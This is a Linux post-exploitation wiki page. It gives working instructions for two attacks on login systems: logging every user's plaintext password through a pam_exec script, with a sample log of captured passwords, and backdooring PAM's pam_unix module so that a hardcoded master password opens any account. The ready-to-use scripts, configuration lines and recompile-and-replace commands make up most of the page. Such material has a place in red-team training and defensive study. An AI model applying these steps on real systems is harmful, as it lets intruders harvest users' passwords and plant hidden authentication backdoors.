# Linux Post-Exploitation
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## Sniffing Logon Passwords with PAM Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check: {% content-ref url="pam-pluggable-authentication-modules.md" %} [pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md) {% endcontent-ref %} First, we create a bash script that will be invoked whenever a new authentication occurs. ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log ``` The variables are PAM specific and will become available via the `pam_exec.so` module. Here is the meaning of the variables: * **$PAM\_USER:** The username that was entered. * **$PAM\_RHOST:** The remote host (typically the IP Address) * **$(cat -):** This reads `stdin`, and will contain the password that the script grabs * The results are piped into a log file at `/var/log/toomanysecrets.log` To **prevent all users from reading** the file consider pre-creating it and running `chmod`, e.g.: ```bash sudo touch /var/log/toomanysecrets.sh sudo chmod 770 /var/log/toomanysecrets.sh ``` Next, the PAM configuration file needs to be updated the `pam_exec` module will be used to invoke the script. There are various config files located in `/etc/pam.d/`, and we pick `common-auth`. ``` sudo nano /etc/pam.d/common-auth ``` On the very bottom of the file, add the following authentication module: `auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh` The options have the following meaning: * **optional:** Authenticaiton shouldnā€™t fail if there is an error (itā€™s not a required step) * **pam\_exec.so:** This is the living off the land PAM module that can invoke arbitrary scripts * **expose\_authtok:** This is the trick that allows to read the password via `stdin` * **quiet:** Donā€™t show any errors to the user (if something doesnā€™t work) * The last argument is the shell script that was created previously ![](<../../.gitbook/assets/image (375).png>) Finally, make the file executable: `sudo chmod 700 /usr/local/bin/toomanysecrets.sh` Now, letā€™s try this out and ssh from another machine, or login locally. And then look at the log file: ``` $ sudo cat /var/log/toomanysecrets.log Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149 Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From: Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149 ``` ### Backdooring PAM Let go to the sources of PAM (depends on your distro, take the same version number as yours..) and look around line numbers 170/180 in the pam\_unix\_auth.c file: ``` vi modules/pam_unix/pam_unix_auth.c ``` ![](<../../.gitbook/assets/image (651).png>) Letā€™s change this by: ![](<../../.gitbook/assets/image (638) (2).png>) This will allow any user using the **password "0xMitsurugi"** to log in. Recompile the `pam_unix_auth.c`, end replace the pam\_unix.so file: ```bash make sudo cp \ /home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \ /lib/x86_64-linux-gnu/security/ ``` {% hint style="info" %} You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) {% endhint %} ## References * [https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/) * [https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)
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